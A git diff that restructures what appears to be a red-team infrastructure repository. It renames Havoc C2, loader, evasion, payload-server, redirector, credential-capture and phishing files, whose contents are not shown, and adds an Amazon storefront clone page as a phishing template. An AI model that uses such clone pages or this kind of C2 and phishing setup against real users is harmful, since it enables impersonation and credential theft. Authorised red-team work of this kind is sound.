diff --git a/universal/files/clean-logs.sh b/common/files/clean-logs.sh similarity index 100% rename from universal/files/clean-logs.sh rename to common/files/clean-logs.sh diff --git a/universal/files/persistent-listener.sh b/common/files/persistent-listener.sh similarity index 100% rename from universal/files/persistent-listener.sh rename to common/files/persistent-listener.sh diff --git a/universal/files/randomize_ports.sh b/common/files/randomize_ports.sh similarity index 100% rename from universal/files/randomize_ports.sh rename to common/files/randomize_ports.sh diff --git a/universal/files/rubber-ducky.txt b/common/files/rubber-ducky.txt similarity index 100% rename from universal/files/rubber-ducky.txt rename to common/files/rubber-ducky.txt diff --git a/universal/files/secure-exit.sh b/common/files/secure-exit.sh similarity index 100% rename from universal/files/secure-exit.sh rename to common/files/secure-exit.sh diff --git a/universal/tasks/cleanup_confirmation.yml b/common/tasks/cleanup_confirmation.yml similarity index 100% rename from universal/tasks/cleanup_confirmation.yml rename to common/tasks/cleanup_confirmation.yml diff --git a/universal/tasks/configure_mail.yml b/common/tasks/configure_mail.yml similarity index 100% rename from universal/tasks/configure_mail.yml rename to common/tasks/configure_mail.yml diff --git a/universal/tasks/initial-infrastructure.yml b/common/tasks/initial-infrastructure.yml similarity index 100% rename from universal/tasks/initial-infrastructure.yml rename to common/tasks/initial-infrastructure.yml diff --git a/universal/tasks/install_tools.yml b/common/tasks/install_tools.yml similarity index 100% rename from universal/tasks/install_tools.yml rename to common/tasks/install_tools.yml diff --git a/universal/tasks/port_randomization.yml b/common/tasks/port_randomization.yml similarity index 100% rename from universal/tasks/port_randomization.yml rename to common/tasks/port_randomization.yml diff --git a/universal/tasks/security_hardening.yml b/common/tasks/security_hardening.yml similarity index 100% rename from universal/tasks/security_hardening.yml rename to common/tasks/security_hardening.yml diff --git a/universal/tasks/traffic_flow_config.yml b/common/tasks/traffic_flow_config.yml similarity index 100% rename from universal/tasks/traffic_flow_config.yml rename to common/tasks/traffic_flow_config.yml diff --git a/universal/templates/POST_INSTALL_INSTRUCTIONS.txt.j2 b/common/templates/POST_INSTALL_INSTRUCTIONS.txt.j2 similarity index 100% rename from universal/templates/POST_INSTALL_INSTRUCTIONS.txt.j2 rename to common/templates/POST_INSTALL_INSTRUCTIONS.txt.j2 diff --git a/universal/templates/default-site.j2 b/common/templates/default-site.j2 similarity index 100% rename from universal/templates/default-site.j2 rename to common/templates/default-site.j2 diff --git a/universal/templates/index.html.j2 b/common/templates/index.html.j2 similarity index 100% rename from universal/templates/index.html.j2 rename to common/templates/index.html.j2 diff --git a/universal/templates/infrastructure_state.j2 b/common/templates/infrastructure_state.j2 similarity index 100% rename from universal/templates/infrastructure_state.j2 rename to common/templates/infrastructure_state.j2 diff --git a/universal/templates/linux_loader.sh.j2 b/common/templates/linux_loader.sh.j2 similarity index 100% rename from universal/templates/linux_loader.sh.j2 rename to common/templates/linux_loader.sh.j2 diff --git a/universal/templates/manifest.json.j2 b/common/templates/manifest.json.j2 similarity index 100% rename from universal/templates/manifest.json.j2 rename to common/templates/manifest.json.j2 diff --git a/universal/templates/motd-aws.j2 b/common/templates/motd-aws.j2 similarity index 100% rename from universal/templates/motd-aws.j2 rename to common/templates/motd-aws.j2 diff --git a/universal/templates/motd-linode.j2 b/common/templates/motd-linode.j2 similarity index 100% rename from universal/templates/motd-linode.j2 rename to common/templates/motd-linode.j2 diff --git a/universal/templates/motd-redirector.j2 b/common/templates/motd-redirector.j2 similarity index 100% rename from universal/templates/motd-redirector.j2 rename to common/templates/motd-redirector.j2 diff --git a/universal/templates/motd.j2 b/common/templates/motd.j2 similarity index 100% rename from universal/templates/motd.j2 rename to common/templates/motd.j2 diff --git a/universal/templates/proxychains.conf.j2 b/common/templates/proxychains.conf.j2 similarity index 100% rename from universal/templates/proxychains.conf.j2 rename to common/templates/proxychains.conf.j2 diff --git a/universal/templates/reference.txt.j2 b/common/templates/reference.txt.j2 similarity index 100% rename from universal/templates/reference.txt.j2 rename to common/templates/reference.txt.j2 diff --git a/universal/templates/resolv.conf.j2 b/common/templates/resolv.conf.j2 similarity index 100% rename from universal/templates/resolv.conf.j2 rename to common/templates/resolv.conf.j2 diff --git a/universal/templates/secure-ssh.sh.j2 b/common/templates/secure-ssh.sh.j2 similarity index 100% rename from universal/templates/secure-ssh.sh.j2 rename to common/templates/secure-ssh.sh.j2 diff --git a/universal/templates/setup-cert.sh.j2 b/common/templates/setup-cert.sh.j2 similarity index 100% rename from universal/templates/setup-cert.sh.j2 rename to common/templates/setup-cert.sh.j2 diff --git a/universal/templates/shell-handler.service.j2 b/common/templates/shell-handler.service.j2 similarity index 100% rename from universal/templates/shell-handler.service.j2 rename to common/templates/shell-handler.service.j2 diff --git a/universal/templates/torrc.j2 b/common/templates/torrc.j2 similarity index 100% rename from universal/templates/torrc.j2 rename to common/templates/torrc.j2 diff --git a/universal/templates/windows_loader.ps1.j2 b/common/templates/windows_loader.ps1.j2 similarity index 100% rename from universal/templates/windows_loader.ps1.j2 rename to common/templates/windows_loader.ps1.j2 diff --git a/universal/files/havoc_installer.sh b/modules/c2/files/havoc_installer.sh similarity index 100% rename from universal/files/havoc_installer.sh rename to modules/c2/files/havoc_installer.sh diff --git a/universal/files/havoc_mutate.sh b/modules/c2/files/havoc_mutate.sh similarity index 100% rename from universal/files/havoc_mutate.sh rename to modules/c2/files/havoc_mutate.sh diff --git a/universal/files/havoc_shell_handler.sh b/modules/c2/files/havoc_shell_handler.sh similarity index 100% rename from universal/files/havoc_shell_handler.sh rename to modules/c2/files/havoc_shell_handler.sh diff --git a/universal/files/implant_mutator.sh b/modules/c2/files/implant_mutator.sh similarity index 100% rename from universal/files/implant_mutator.sh rename to modules/c2/files/implant_mutator.sh diff --git a/universal/files/post_install_c2.sh b/modules/c2/files/post_install_c2.sh similarity index 100% rename from universal/files/post_install_c2.sh rename to modules/c2/files/post_install_c2.sh diff --git a/universal/tasks/configure_advanced_evasion.yml b/modules/c2/tasks/configure_advanced_evasion.yml similarity index 100% rename from universal/tasks/configure_advanced_evasion.yml rename to modules/c2/tasks/configure_advanced_evasion.yml diff --git a/universal/tasks/configure_c2.yml b/modules/c2/tasks/configure_c2.yml similarity index 100% rename from universal/tasks/configure_c2.yml rename to modules/c2/tasks/configure_c2.yml diff --git a/universal/tasks/configure_integrated_tracker.yml b/modules/c2/tasks/configure_integrated_tracker.yml similarity index 100% rename from universal/tasks/configure_integrated_tracker.yml rename to modules/c2/tasks/configure_integrated_tracker.yml diff --git a/c2/templates/generate_evasive_beacons.sh.j2 b/modules/c2/templates/generate_evasive_beacons.sh.j2 similarity index 100% rename from c2/templates/generate_evasive_beacons.sh.j2 rename to modules/c2/templates/generate_evasive_beacons.sh.j2 diff --git a/c2/templates/generate_havoc_payloads.sh.j2 b/modules/c2/templates/generate_havoc_payloads.sh.j2 similarity index 100% rename from c2/templates/generate_havoc_payloads.sh.j2 rename to modules/c2/templates/generate_havoc_payloads.sh.j2 diff --git a/c2/templates/havoc-config.yaotl.j2 b/modules/c2/templates/havoc-config.yaotl.j2 similarity index 100% rename from c2/templates/havoc-config.yaotl.j2 rename to modules/c2/templates/havoc-config.yaotl.j2 diff --git a/c2/templates/havoc-guide.j2 b/modules/c2/templates/havoc-guide.j2 similarity index 100% rename from c2/templates/havoc-guide.j2 rename to modules/c2/templates/havoc-guide.j2 diff --git a/universal/templates/serve-havoc-payloads.sh.j2 b/modules/c2/templates/serve-havoc-payloads.sh.j2 similarity index 100% rename from universal/templates/serve-havoc-payloads.sh.j2 rename to modules/c2/templates/serve-havoc-payloads.sh.j2 diff --git a/universal/files/secure_payload_sync.sh b/modules/payload-server/files/secure_payload_sync.sh similarity index 100% rename from universal/files/secure_payload_sync.sh rename to modules/payload-server/files/secure_payload_sync.sh diff --git a/payload-server/payload_redirector.yml b/modules/payload-server/payload_redirector.yml similarity index 100% rename from payload-server/payload_redirector.yml rename to modules/payload-server/payload_redirector.yml diff --git a/payload-server/payload_server.yml b/modules/payload-server/payload_server.yml similarity index 100% rename from payload-server/payload_server.yml rename to modules/payload-server/payload_server.yml diff --git a/universal/tasks/configure_payload_redirector.yml b/modules/payload-server/tasks/configure_payload_redirector.yml similarity index 100% rename from universal/tasks/configure_payload_redirector.yml rename to modules/payload-server/tasks/configure_payload_redirector.yml diff --git a/universal/tasks/configure_payload_server.yml b/modules/payload-server/tasks/configure_payload_server.yml similarity index 100% rename from universal/tasks/configure_payload_server.yml rename to modules/payload-server/tasks/configure_payload_server.yml diff --git a/phishing/Plan.md b/modules/phishing/Plan.md similarity index 100% rename from phishing/Plan.md rename to modules/phishing/Plan.md diff --git a/phishing/cleanup_phishing.yml b/modules/phishing/cleanup_phishing.yml similarity index 100% rename from phishing/cleanup_phishing.yml rename to modules/phishing/cleanup_phishing.yml diff --git a/phishing/deploy_phishing_infrastructure.yml b/modules/phishing/deploy_phishing_infrastructure.yml similarity index 100% rename from phishing/deploy_phishing_infrastructure.yml rename to modules/phishing/deploy_phishing_infrastructure.yml diff --git a/universal/tasks/configure_gophish_advanced.yml b/modules/phishing/gophish/tasks/configure_gophish_advanced.yml similarity index 100% rename from universal/tasks/configure_gophish_advanced.yml rename to modules/phishing/gophish/tasks/configure_gophish_advanced.yml diff --git a/universal/tasks/configure_phishing_server.yml b/modules/phishing/gophish/tasks/configure_phishing_server.yml similarity index 100% rename from universal/tasks/configure_phishing_server.yml rename to modules/phishing/gophish/tasks/configure_phishing_server.yml diff --git a/phishing/templates/gophish-advanced-config.j2 b/modules/phishing/gophish/templates/gophish-advanced-config.j2 similarity index 100% rename from phishing/templates/gophish-advanced-config.j2 rename to modules/phishing/gophish/templates/gophish-advanced-config.j2 diff --git a/phishing/templates/gophish-config.j2 b/modules/phishing/gophish/templates/gophish-config.j2 similarity index 100% rename from phishing/templates/gophish-config.j2 rename to modules/phishing/gophish/templates/gophish-config.j2 diff --git a/phishing/gophish_server.yml b/modules/phishing/gophish_server.yml similarity index 100% rename from phishing/gophish_server.yml rename to modules/phishing/gophish_server.yml diff --git a/universal/tasks/configure_mta_front.yml b/modules/phishing/mta-front/tasks/configure_mta_front.yml similarity index 100% rename from universal/tasks/configure_mta_front.yml rename to modules/phishing/mta-front/tasks/configure_mta_front.yml diff --git a/phishing/templates/postfix-mta-front.j2 b/modules/phishing/mta-front/templates/postfix-mta-front.j2 similarity index 100% rename from phishing/templates/postfix-mta-front.j2 rename to modules/phishing/mta-front/templates/postfix-mta-front.j2 diff --git a/phishing/mta_front.yml b/modules/phishing/mta_front.yml similarity index 100% rename from phishing/mta_front.yml rename to modules/phishing/mta_front.yml diff --git a/phishing/phishing_redirector.yml b/modules/phishing/phishing_redirector.yml similarity index 100% rename from phishing/phishing_redirector.yml rename to modules/phishing/phishing_redirector.yml diff --git a/phishing/phishing_webserver.yml b/modules/phishing/phishing_webserver.yml similarity index 100% rename from phishing/phishing_webserver.yml rename to modules/phishing/phishing_webserver.yml diff --git a/universal/tasks/configure_fedramp_compliance.yml b/modules/phishing/tasks/configure_fedramp_compliance.yml similarity index 100% rename from universal/tasks/configure_fedramp_compliance.yml rename to modules/phishing/tasks/configure_fedramp_compliance.yml diff --git a/phishing/templates/email-templates/file_share.j2 b/modules/phishing/templates/email-templates/file_share.j2 similarity index 100% rename from phishing/templates/email-templates/file_share.j2 rename to modules/phishing/templates/email-templates/file_share.j2 diff --git a/phishing/templates/email-templates/office365_login.j2 b/modules/phishing/templates/email-templates/office365_login.j2 similarity index 100% rename from phishing/templates/email-templates/office365_login.j2 rename to modules/phishing/templates/email-templates/office365_login.j2 diff --git a/phishing/templates/email-templates/password_expiry.j2 b/modules/phishing/templates/email-templates/password_expiry.j2 similarity index 100% rename from phishing/templates/email-templates/password_expiry.j2 rename to modules/phishing/templates/email-templates/password_expiry.j2 diff --git a/phishing/templates/email-templates/security_alert.j2 b/modules/phishing/templates/email-templates/security_alert.j2 similarity index 100% rename from phishing/templates/email-templates/security_alert.j2 rename to modules/phishing/templates/email-templates/security_alert.j2 diff --git a/phishing/templates/fedramp-compliance.j2 b/modules/phishing/templates/fedramp-compliance.j2 similarity index 100% rename from phishing/templates/fedramp-compliance.j2 rename to modules/phishing/templates/fedramp-compliance.j2 diff --git a/phishing/templates/phishing_deployment_state.j2 b/modules/phishing/templates/phishing_deployment_state.j2 similarity index 100% rename from phishing/templates/phishing_deployment_state.j2 rename to modules/phishing/templates/phishing_deployment_state.j2 diff --git a/universal/tasks/configure_phishing_webserver.yml b/modules/phishing/webserver/tasks/configure_phishing_webserver.yml similarity index 100% rename from universal/tasks/configure_phishing_webserver.yml rename to modules/phishing/webserver/tasks/configure_phishing_webserver.yml diff --git a/universal/tasks/setup_phishing_security.yml b/modules/phishing/webserver/tasks/setup_phishing_security.yml similarity index 100% rename from universal/tasks/setup_phishing_security.yml rename to modules/phishing/webserver/tasks/setup_phishing_security.yml diff --git a/phishing/templates/nginx-phishing-webserver.j2 b/modules/phishing/webserver/templates/nginx-phishing-webserver.j2 similarity index 100% rename from phishing/templates/nginx-phishing-webserver.j2 rename to modules/phishing/webserver/templates/nginx-phishing-webserver.j2 diff --git a/modules/phishing/webserver/templates/page-templates/AmazonClone/amazon_logo.png b/modules/phishing/webserver/templates/page-templates/AmazonClone/amazon_logo.png new file mode 100644 index 0000000..320210e Binary files /dev/null and b/modules/phishing/webserver/templates/page-templates/AmazonClone/amazon_logo.png differ diff --git a/modules/phishing/webserver/templates/page-templates/AmazonClone/box10_image.jpg b/modules/phishing/webserver/templates/page-templates/AmazonClone/box10_image.jpg new file mode 100644 index 0000000..816b8c7 Binary files /dev/null and b/modules/phishing/webserver/templates/page-templates/AmazonClone/box10_image.jpg differ diff --git a/modules/phishing/webserver/templates/page-templates/AmazonClone/box11_image.jpg b/modules/phishing/webserver/templates/page-templates/AmazonClone/box11_image.jpg new file mode 100644 index 0000000..a7b3d3e Binary files /dev/null and b/modules/phishing/webserver/templates/page-templates/AmazonClone/box11_image.jpg differ diff --git a/modules/phishing/webserver/templates/page-templates/AmazonClone/box12_image.jpg b/modules/phishing/webserver/templates/page-templates/AmazonClone/box12_image.jpg new file mode 100644 index 0000000..88d62fa Binary files /dev/null and b/modules/phishing/webserver/templates/page-templates/AmazonClone/box12_image.jpg differ diff --git a/modules/phishing/webserver/templates/page-templates/AmazonClone/box1_image.jpg b/modules/phishing/webserver/templates/page-templates/AmazonClone/box1_image.jpg new file mode 100644 index 0000000..f4aa14e Binary files /dev/null and b/modules/phishing/webserver/templates/page-templates/AmazonClone/box1_image.jpg differ diff --git a/modules/phishing/webserver/templates/page-templates/AmazonClone/box2_image.jpg b/modules/phishing/webserver/templates/page-templates/AmazonClone/box2_image.jpg new file mode 100644 index 0000000..d807dc4 Binary files /dev/null and b/modules/phishing/webserver/templates/page-templates/AmazonClone/box2_image.jpg differ diff --git a/modules/phishing/webserver/templates/page-templates/AmazonClone/box3_image.jpg b/modules/phishing/webserver/templates/page-templates/AmazonClone/box3_image.jpg new file mode 100644 index 0000000..300f1f3 Binary files /dev/null and b/modules/phishing/webserver/templates/page-templates/AmazonClone/box3_image.jpg differ diff --git a/modules/phishing/webserver/templates/page-templates/AmazonClone/box4_image.jpg b/modules/phishing/webserver/templates/page-templates/AmazonClone/box4_image.jpg new file mode 100644 index 0000000..90ee126 Binary files /dev/null and b/modules/phishing/webserver/templates/page-templates/AmazonClone/box4_image.jpg differ diff --git a/modules/phishing/webserver/templates/page-templates/AmazonClone/box5_image.jpg b/modules/phishing/webserver/templates/page-templates/AmazonClone/box5_image.jpg new file mode 100644 index 0000000..4fe84c4 Binary files /dev/null and b/modules/phishing/webserver/templates/page-templates/AmazonClone/box5_image.jpg differ diff --git a/modules/phishing/webserver/templates/page-templates/AmazonClone/box6_image.jpg b/modules/phishing/webserver/templates/page-templates/AmazonClone/box6_image.jpg new file mode 100644 index 0000000..ca7f184 Binary files /dev/null and b/modules/phishing/webserver/templates/page-templates/AmazonClone/box6_image.jpg differ diff --git a/modules/phishing/webserver/templates/page-templates/AmazonClone/box7_image.jpg b/modules/phishing/webserver/templates/page-templates/AmazonClone/box7_image.jpg new file mode 100644 index 0000000..21c2373 Binary files /dev/null and b/modules/phishing/webserver/templates/page-templates/AmazonClone/box7_image.jpg differ diff --git a/modules/phishing/webserver/templates/page-templates/AmazonClone/box8_image.jpg b/modules/phishing/webserver/templates/page-templates/AmazonClone/box8_image.jpg new file mode 100644 index 0000000..2312740 Binary files /dev/null and b/modules/phishing/webserver/templates/page-templates/AmazonClone/box8_image.jpg differ diff --git a/modules/phishing/webserver/templates/page-templates/AmazonClone/box9_image.jpg b/modules/phishing/webserver/templates/page-templates/AmazonClone/box9_image.jpg new file mode 100644 index 0000000..252cd92 Binary files /dev/null and b/modules/phishing/webserver/templates/page-templates/AmazonClone/box9_image.jpg differ diff --git a/modules/phishing/webserver/templates/page-templates/AmazonClone/hero1_image.jpg b/modules/phishing/webserver/templates/page-templates/AmazonClone/hero1_image.jpg new file mode 100644 index 0000000..8db0992 Binary files /dev/null and b/modules/phishing/webserver/templates/page-templates/AmazonClone/hero1_image.jpg differ diff --git a/modules/phishing/webserver/templates/page-templates/AmazonClone/index.html b/modules/phishing/webserver/templates/page-templates/AmazonClone/index.html new file mode 100644 index 0000000..b6e532f --- /dev/null +++ b/modules/phishing/webserver/templates/page-templates/AmazonClone/index.html @@ -0,0 +1,238 @@ + + + + + + Amazon + + + + +
+ + +
+
+ + All +
+ +
+

Today's Deals

+

Buy Again

+

Customer Service

+

Registry

+

Gift Cards

+

Sell

+
+
+
+ +
+
+

You are on amazon.com. You can also shop on Amazon for millions of products with fast local delivery. Click here to go to amazon.in

+
+
+ +
+
+
+

Clothes

+
+

Shop now

+
+
+ +
+
+

Health & Personal Care

+
+

Shop now

+
+
+ +
+
+

Furniture

+
+

Shop now

+
+
+ +
+
+

Electronics

+
+

See more

+
+
+ +
+
+

Beauty picks

+
+

Shop now

+
+
+ +
+
+

Shop Pet Supplies

+
+

See more

+
+
+ +
+
+

New Arrival in Toys

+
+

Shop now

+
+
+ +
+
+

Discover Fashion Trends

+
+

Shop now

+
+
+ +
+
+

Home refresh ideas

+
+

Shop kitchen upgrades

+
+
+ +
+
+

Create with strip lights

+
+

Shop now

+
+
+ +
+
+

For your Fitness Needs

+
+

Shop now

+
+
+ +
+
+

Spring new arrivals

+
+

Discover more

+
+
+
+ + + + \ No newline at end of file diff --git a/modules/phishing/webserver/templates/page-templates/AmazonClone/style.css b/modules/phishing/webserver/templates/page-templates/AmazonClone/style.css new file mode 100644 index 0000000..0e697ff --- /dev/null +++ b/modules/phishing/webserver/templates/page-templates/AmazonClone/style.css @@ -0,0 +1,269 @@ +* { + margin: 0; + font-family: Arial; + border: border-box; +} + +.navbar { + height: 60px; + background-color: #0F1111; + color: white; + display: flex; + align-items: center; + justify-content: space-evenly; +} + +.nav-logo { + height: 50px; + width: 110px; +} + +.logo { + background-image: url("amazon_logo.png"); + background-size: cover; + height: 50px; + width: 100%; +} + +.border { + border: 1.5px solid transparent; +} + +.border:hover { + border: 1.5px solid white; +} + +/* box2 */ +.add-first { + color: #CCCCCC; + font-size: 0.85rem; + margin-left: 13px; +} + +.add-second { + font-size: 1rem; + margin-left: 1.5px; +} + +.add-icon { + display: flex; + align-items: center; +} + +/* box3 */ +.nav-search { + display: flex; + justify-content: space-evenly; + background-color: pink; + width: 600px; + height: 40px; + border-radius: 4px; +} + +.search-select { + background-color: #f3f3f3; + width: 50px; + text-align: center; + border-top-left-radius: 4px; + border-bottom-left-radius: 4px; + border: none; +} + +.search-input { + width: 100%; + font-size: 1rem; + border: none; +} + +.search-icon { + width: 45px; + display: flex; + justify-content: center; + align-items: center; + font-size: 1.2rem; + background-color: #febd68; + border-top-right-radius: 4px; + border-bottom-right-radius: 4px; + color: #0F1111; +} + +/* box4 */ +span { + font-size: 0.7rem; +} + +.nav-second { + font-size: 0.85rem; + font-weight: 700; +} + +/* box6 */ +.nav-cart i { + font-size: 28px; +} + +.nav-cart { + font-size: 0.85rem; + font-weight: 700; +} + +/* panel */ +.panel { + height: 40px; + background-color: #222f3d; + display: flex; + color: white; + align-items: center; + justify-content: space-evenly; +} + +.panel-all:hover { + border: 1.5px solid white; +} + +.panel-options p { + display: inline; + margin-left: 10px; +} + +.panel-options { + width: 85%; + font-size: 0.85rem; +} +.panel-options p:hover { + border: 1.5px solid white; +} +/* hero section */ +.hero-section { + background-image: url("hero1_image.jpg"); + background-size: cover; + height: 350px; + display: flex; + justify-content: center; + align-items: flex-end; +} + +.hero-msg { + background-color: white; + color: black; + height: 40px; + display: flex; + align-items: center; + justify-content: center; + font-size: 0.85rem; + width: 80%; + margin-bottom: 25px; +} + +.hero-msg a { + color: #007185; +} + +/* shop-section */ +.shop-section { + display: flex; + flex-wrap: wrap; + justify-content: space-evenly; + background-color: hsl(318, 65%, 90%); +} + + +.box { + /*border: 2px solid black;*/ + border-radius: 5px; + height: 400px; + width: 23%; + background-color: white; + padding: 20px 0px 15px; + margin-top: 15px; +} + +.box-img { + height: 300px; + background-size: cover; + margin-top: 1rem; + margin-bottom: 1rem; +} + +.box-content { + margin-left: 1rem; + margin-right: 1rem; +} + +.box-content p { + color: #007185; +} + +.box-content p:hover { + color: #febd68; +} +/* footer */ +footer { + margin-top: 15px; +} + +.foot-panel1 { + background-color: #37475a; + color: white; + height: 50px; + display: flex; + justify-content: center; + align-items: center; + font-size: 0.85rem; +} + +.foot-panel2 { + background-color: #222f3d; + color: white; + height: 500px; + display: flex; + justify-content: space-evenly; +} + +.foot-panel2 a:hover { + text-decoration: underline; +} + +ul { + margin-top: 20px; +} + +ul a { + display: block; + font-size: 0.85rem; + margin-top: 10px; + color: #dddddd; +} + +.foot-panel3 { + background-color: #222f3d; + color: white; + border-top: 0.5px solid white; + height: 70px; + display: flex; + justify-content: center; + align-items: center; +} + +.logo { + background-image: url("amazon_logo.png"); + background-size: cover; + height: 50px; + width: 100px; +} + +.foot-panel4 { + background-color: #0F1111; + color: white; + height: 80px; + text-align: center; + font-size: 0.7rem; +} + +.policies { + padding-top: 25px; +} + +.copyright { + padding-top: 5px; +} \ No newline at end of file diff --git a/phishing/templates/fake-login.html.j2 b/modules/phishing/webserver/templates/page-templates/microsoft-login.html.j2 similarity index 100% rename from phishing/templates/fake-login.html.j2 rename to modules/phishing/webserver/templates/page-templates/microsoft-login.html.j2 diff --git a/phishing/templates/phishing-landing-page.j2 b/modules/phishing/webserver/templates/page-templates/phishing-landing-page.j2 similarity index 100% rename from phishing/templates/phishing-landing-page.j2 rename to modules/phishing/webserver/templates/page-templates/phishing-landing-page.j2 diff --git a/universal/files/post_install_redirector.sh b/modules/redirectors/files/post_install_redirector.sh similarity index 100% rename from universal/files/post_install_redirector.sh rename to modules/redirectors/files/post_install_redirector.sh diff --git a/universal/tasks/configure_redirector.yml b/modules/redirectors/tasks/configure_redirector.yml similarity index 100% rename from universal/tasks/configure_redirector.yml rename to modules/redirectors/tasks/configure_redirector.yml diff --git a/universal/templates/capture.php.j2 b/modules/redirectors/templates/capture.php.j2 similarity index 100% rename from universal/templates/capture.php.j2 rename to modules/redirectors/templates/capture.php.j2 diff --git a/universal/tasks/configure_phishing_redirector.yml b/modules/redirectors/templates/configure_phishing_redirector.yml similarity index 100% rename from universal/tasks/configure_phishing_redirector.yml rename to modules/redirectors/templates/configure_phishing_redirector.yml diff --git a/redirectors/templates/nginx-payload-redirector.j2 b/modules/redirectors/templates/nginx-payload-redirector.j2 similarity index 100% rename from redirectors/templates/nginx-payload-redirector.j2 rename to modules/redirectors/templates/nginx-payload-redirector.j2 diff --git a/redirectors/templates/nginx-phishing-redirector.j2 b/modules/redirectors/templates/nginx-phishing-redirector.j2 similarity index 100% rename from redirectors/templates/nginx-phishing-redirector.j2 rename to modules/redirectors/templates/nginx-phishing-redirector.j2 diff --git a/universal/templates/nginx.conf.j2 b/modules/redirectors/templates/nginx.conf.j2 similarity index 100% rename from universal/templates/nginx.conf.j2 rename to modules/redirectors/templates/nginx.conf.j2 diff --git a/redirectors/templates/redirector-havoc-fragment.j2 b/modules/redirectors/templates/redirector-havoc-fragment.j2 similarity index 100% rename from redirectors/templates/redirector-havoc-fragment.j2 rename to modules/redirectors/templates/redirector-havoc-fragment.j2 diff --git a/redirectors/templates/redirector-index.html.j2 b/modules/redirectors/templates/redirector-index.html.j2 similarity index 100% rename from redirectors/templates/redirector-index.html.j2 rename to modules/redirectors/templates/redirector-index.html.j2 diff --git a/redirectors/templates/redirector-site-with-tracker.conf.j2 b/modules/redirectors/templates/redirector-site-with-tracker.conf.j2 similarity index 100% rename from redirectors/templates/redirector-site-with-tracker.conf.j2 rename to modules/redirectors/templates/redirector-site-with-tracker.conf.j2 diff --git a/redirectors/templates/redirector-site.conf.j2 b/modules/redirectors/templates/redirector-site.conf.j2 similarity index 100% rename from redirectors/templates/redirector-site.conf.j2 rename to modules/redirectors/templates/redirector-site.conf.j2 diff --git a/universal/templates/stream.conf.j2 b/modules/redirectors/templates/stream.conf.j2 similarity index 100% rename from universal/templates/stream.conf.j2 rename to modules/redirectors/templates/stream.conf.j2 diff --git a/universal/files/simple_email_tracker.py b/modules/tracker/files/simple_email_tracker.py similarity index 100% rename from universal/files/simple_email_tracker.py rename to modules/tracker/files/simple_email_tracker.py diff --git a/universal/files/tracker-nginx.conf b/modules/tracker/files/tracker-nginx.conf similarity index 100% rename from universal/files/tracker-nginx.conf rename to modules/tracker/files/tracker-nginx.conf diff --git a/universal/files/tracker-stats.sh b/modules/tracker/files/tracker-stats.sh similarity index 100% rename from universal/files/tracker-stats.sh rename to modules/tracker/files/tracker-stats.sh diff --git a/universal/files/tracker.service b/modules/tracker/files/tracker.service similarity index 100% rename from universal/files/tracker.service rename to modules/tracker/files/tracker.service diff --git a/universal/templates/simple_email_tracker.py.j2 b/modules/tracker/templates/simple_email_tracker.py.j2 similarity index 100% rename from universal/templates/simple_email_tracker.py.j2 rename to modules/tracker/templates/simple_email_tracker.py.j2 diff --git a/universal/templates/tracker-config.j2 b/modules/tracker/templates/tracker-config.j2 similarity index 100% rename from universal/templates/tracker-config.j2 rename to modules/tracker/templates/tracker-config.j2 diff --git a/universal/templates/tracker-nginx.conf.j2 b/modules/tracker/templates/tracker-nginx.conf.j2 similarity index 100% rename from universal/templates/tracker-nginx.conf.j2 rename to modules/tracker/templates/tracker-nginx.conf.j2 diff --git a/universal/templates/tracker.service.j2 b/modules/tracker/templates/tracker.service.j2 similarity index 100% rename from universal/templates/tracker.service.j2 rename to modules/tracker/templates/tracker.service.j2 diff --git a/structure.txt b/structure.txt index c6f2c1c..cf96f95 100644 --- a/structure.txt +++ b/structure.txt @@ -1,57 +1,171 @@ . ├── ansible.cfg -├── c2 -│ ├── files -│ ├── tasks -│ └── templates -│ ├── generate_evasive_beacons.sh.j2 -│ ├── generate_havoc_payloads.sh.j2 -│ ├── havoc-config.yaotl.j2 -│ └── havoc-guide.j2 -├── chat-server +├── common │ ├── files +│ │ ├── clean-logs.sh +│ │ ├── persistent-listener.sh +│ │ ├── randomize_ports.sh +│ │ ├── rubber-ducky.txt +│ │ ├── secure-exit.sh +│ │ └── tracker-nginx.conf │ ├── tasks +│ │ ├── cleanup_confirmation.yml +│ │ ├── configure_mail.yml +│ │ ├── initial-infrastructure.yml +│ │ ├── install_tools.yml +│ │ ├── port_randomization.yml +│ │ ├── security_hardening.yml +│ │ └── traffic_flow_config.yml │ └── templates +│ ├── default-site.j2 +│ ├── index.html.j2 +│ ├── infrastructure_state.j2 +│ ├── linux_loader.sh.j2 +│ ├── manifest.json.j2 +│ ├── motd-aws.j2 +│ ├── motd.j2 +│ ├── motd-linode.j2 +│ ├── motd-redirector.j2 +│ ├── POST_INSTALL_INSTRUCTIONS.txt.j2 +│ ├── proxychains.conf.j2 +│ ├── reference.txt.j2 +│ ├── resolv.conf.j2 +│ ├── secure-ssh.sh.j2 +│ ├── serve-havoc-payloads.sh.j2 +│ ├── setup-cert.sh.j2 +│ ├── shell-handler.service.j2 +│ ├── torrc.j2 +│ └── windows_loader.ps1.j2 ├── deploy.py -├── hashtopolish-server -│ ├── files -│ ├── tasks -│ └── templates -├── logging-server -│ ├── files -│ ├── tasks -│ └── templates ├── logs -├── payload-server -│ ├── files -│ ├── payload_redirector.yml -│ ├── payload_server.yml -│ ├── tasks -│ └── templates -├── phishing -│ ├── cleanup_phishing.yml -│ ├── deploy_phishing_infrastructure.yml -│ ├── files -│ ├── gophish_server.yml -│ ├── mta_front.yml -│ ├── phishing_redirector.yml -│ ├── phishing_webserver.yml -│ ├── Plan.md -│ ├── tasks -│ └── templates -│ ├── email-templates -│ │ ├── file_share.j2 -│ │ ├── office365_login.j2 -│ │ ├── password_expiry.j2 -│ │ └── security_alert.j2 -│ ├── fake-login.html.j2 -│ ├── fedramp-compliance.j2 -│ ├── gophish-advanced-config.j2 -│ ├── gophish-config.j2 -│ ├── nginx-phishing-webserver.j2 -│ ├── phishing_deployment_state.j2 -│ ├── phishing-landing-page.j2 -│ └── postfix-mta-front.j2 +├── modules +│ ├── c2 +│ │ ├── files +│ │ │ ├── havoc_installer.sh +│ │ │ ├── havoc_mutate.sh +│ │ │ ├── havoc_shell_handler.sh +│ │ │ ├── implant_mutator.sh +│ │ │ └── post_install_c2.sh +│ │ ├── tasks +│ │ │ ├── configure_advanced_evasion.yml +│ │ │ ├── configure_c2.yml +│ │ │ └── configure_integrated_tracker.yml +│ │ └── templates +│ │ ├── generate_evasive_beacons.sh.j2 +│ │ ├── generate_havoc_payloads.sh.j2 +│ │ ├── havoc-config.yaotl.j2 +│ │ └── havoc-guide.j2 +│ ├── chat-server +│ │ ├── files +│ │ ├── tasks +│ │ └── templates +│ ├── hashtopolish-server +│ │ ├── files +│ │ ├── tasks +│ │ └── templates +│ ├── 